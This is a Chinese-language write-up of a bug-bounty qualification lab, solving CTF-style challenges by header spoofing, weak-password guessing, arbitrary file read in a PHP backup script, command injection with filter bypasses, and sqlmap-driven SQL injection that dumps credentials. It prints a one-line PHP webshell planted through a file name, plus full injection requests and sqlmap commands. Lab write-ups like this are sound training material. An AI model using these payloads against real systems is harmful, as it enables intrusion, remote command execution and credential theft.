記一次某眾測的考核
本文首發於“合天網安實驗室” 作者:kawhi
本文涉及靶場知識點實操練習——實驗:SQL注入原理與實踐(合天網安實驗室)
前言
最近沒什麼事,於是報名了某眾測,填了資料主辦方給了個靶場要考核,這裡分享一下靶場考核中的解題過程,一共十道題目,難度也不算太難,但也有一些題沒做出來,最後也是順利的通過了考核。
前戲
首先考核要答一些選擇題和判斷題,沒什麼好說的,主辦方要求連了vpn沒法上外網,但是都是一些基礎的網路安全問題,隨便答答就過了,接下來就是靶場的題目了。
靶場題目
第一題
WeSec微信公眾號
提示:用IPAD手機的2G網路上網
很明顯改改UA頭就行了,直接搜一下UA頭,替換上去。
改UA頭
GET /mp_weixin_qq_com.php HTTP/1.1 Host: 119.3.225.8:41064 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/2G Language/zh_CN Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://119.3.225.8:41064/index.html Upgrade-Insecure-Requests: 1
返回
mozhe64d25d173bdbae7366b76e0798a
第二題
易學車智慧考試系統
掃目錄發現/admin
爆破弱口令admin和admin888登入後臺,發現後臺是一個儲存檔案的功能,這裡可以直接讀取備份檔案bak_wwwroot.zip的原始碼,關鍵程式碼如下:
<input name="todir" type="text" id="todir" value="__bak__" class="xxp">(留空為本目錄)<br>檔案儲存名稱: <input name="zipname" type="text" id="zipname" value="bak_wwwroot.zip" class="xxp">(.zip)<br><br> <input name="password" type="hidden" id="password" value="<?php echo $_POST['password'];?>"> <input name="myaction" type="hidden" id="myaction" value="dozip"> <input type="submit" name="Submit" class="sub" value=" 開始備份"> function createfile(){ $endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" . pack('v', $this -> file_count) . pack('v', $this -> file_count) . pack('V', $this -> dirstr_len) . pack('V', $this -> datastr_len) . "\x00\x00"; fwrite($this->fp,$this->dirstr.$endstr); fclose($this->fp); } } if(is_array($_REQUEST[dfile])){ $faisunZIP = new PHPzip; if($faisunZIP -> startfile("$_REQUEST[todir]$_REQUEST[zipname]")){ echo "正在新增備份檔案...<br><br>"; $filenum = 0; foreach($_REQUEST[dfile] as $file){ if(is_file($file)){ echo "檔案: $file<br>"; }else{ echo "目錄: $file<br>"; } $filenum += listfiles($file); } $faisunZIP -> createfile(); echo "<br>備份完成,共新增 $filenum 個檔案.<br><a href='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")</a>"; }else{ echo "$_REQUEST[todir]$_REQUEST[zipname] 不能寫入,請檢查路徑或許可權是否正確.<br>"; } }else{ echo "沒有選擇的檔案或目錄.<br>"; } endif; ?>
審計程式碼,這裡的dfile引數任何的過濾,嘗試修改一下dfile的值,驚喜的發現可以讀取任意檔案,並寫入bak_wwwroot.zip,下載bak_wwwroot.zip就可以讀取了。
dfile[]=/var/www/html/index.php&todir=__bak__&zipname=bak_wwwroot.zip&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
雖然知道可以讀取任意檔案,但是不知道key是放在哪個地方,於是這裡又卡了一下,但是轉頭一想,這裡是寫一個檔名並壓縮排檔案裡面,老CTFer都知道做msic的時候,檔名會寫入壓縮包裡面,於是寫一個一句話木馬,並把bak_wwwroot.zip改為bak_wwwroot.php試一下,沒想到成功了。
dfile[]=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
讀取目錄下所有檔案目錄
http://119.3.187.27:41154/admin_site_bak2088/__bak__/bak_wwwroot.php?cmd=ls%20../
讀取key
http://119.3.187.27:41169/admin_K29ke8/__bak__/bak_wwwroot.php?cmd=cat%20/key_ss32ce5ew1v.txt
第三題
數字校園
提示:瀏覽器型別要是IPAD,以及要用英文,解析度要1024*768
和第一題一樣的套路
不過這裡要改下
- Accept-Language為en,zh;q=0.8,en-us;q=0.5,en;q=0.3
- Cookie為screenX=1024; screenY=768
第四題
網站檔案備份伺服器
雖然頁面和第二題不同,但是掃目錄同樣掃出了是一樣的後臺,爆破弱口令,然後發現admin和admin,剩下的就和之前的步驟是一樣的了,寫一個馬然後讀key。
dfile%5B%5D=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
第五題
教學器械採購平臺
一道命令執行的題,有個輸入框
隨便fuzz一下,發現過濾了&&和空格
於是&&用%26%26替代繞過,空格用<替代繞過
先用ls讀取檔案目錄
iipp=127.0.0.1%26%26ls&submit=Ping
然後再讀取key即可
第六題
教學質量評價系統
發現有個注入點
http://119.3.177.25:41204/show.php?id=MQ0=
測試了一下發現是base64盲注,用tamper指定base64編碼,直接丟sqlmap裡面跑一下。
這裡要注意的是這個靶場不太穩定,我們用sqlmap有個小問題就是盲注的時候他會根據響應速度來調整發送包的速度,太快了可能網站會崩,所以sqlmap會增加延遲,讓他更像是人手工在注入,我覺得慢就斷開了,但是如果不清理快取每次重來就是從上一次繼續,所以這裡的話加上fresh-queries,再加上batch自動確認。
跑資料庫
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --dbs --dump --batch --fresh-queries
跑表名
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --tables -D test --dump --batch --fresh-queries
跑列名
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py --columns -D test -T data --dump --batch --fresh-queries
最後payload如下
python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1* --tamper base64encode.py -D test -T data -C thekey --dump --batch --fresh-queries
直接跑出key
第七題
XWAY科技管理系統
平臺停機維護的通知存在注入,發現注入點在
http://119.3.225.8:41046/new_list.php?id=1
繼續sqlmap跑起來,
跑資料庫
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --dbs --dump --batch
跑表名
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --tables -T member --dump --batch
跑列名
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --columns -T member -D stormgroup --dump --batch
最後payload
python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 -D stormgroup -T member -C name,password --dump --batch
跑出兩個賬號密碼
- mozhe/528469
- mozhe/888054
登入之後,即可拿到key。
第八題
XWAY電腦採購系統
隨便看了發現到一個注入點
http://119.3.187.27:41144/new_list.php?id=1
發現是union注入,依舊嘗試用sqlmap
跑資料庫
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --dbs --dump --batch
跑表名
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --tables -D min_ju4t_mel1i --dump --batch
跑列名
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --columns -D min_ju4t_mel1i -T (@dmin9_td4b} --dump --batch
最後payload
python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 -D min_ju4t_mel1i -T (@dmin9_td4b} -C username,password --dump --batch
最後跑出五個賬號密碼,只有一個能用,md5解密登入拿key。
sql注入不愧是OWASP TOP 10 之 榜首,10道題目出現了3道,有一說一sqlmap真的是好用。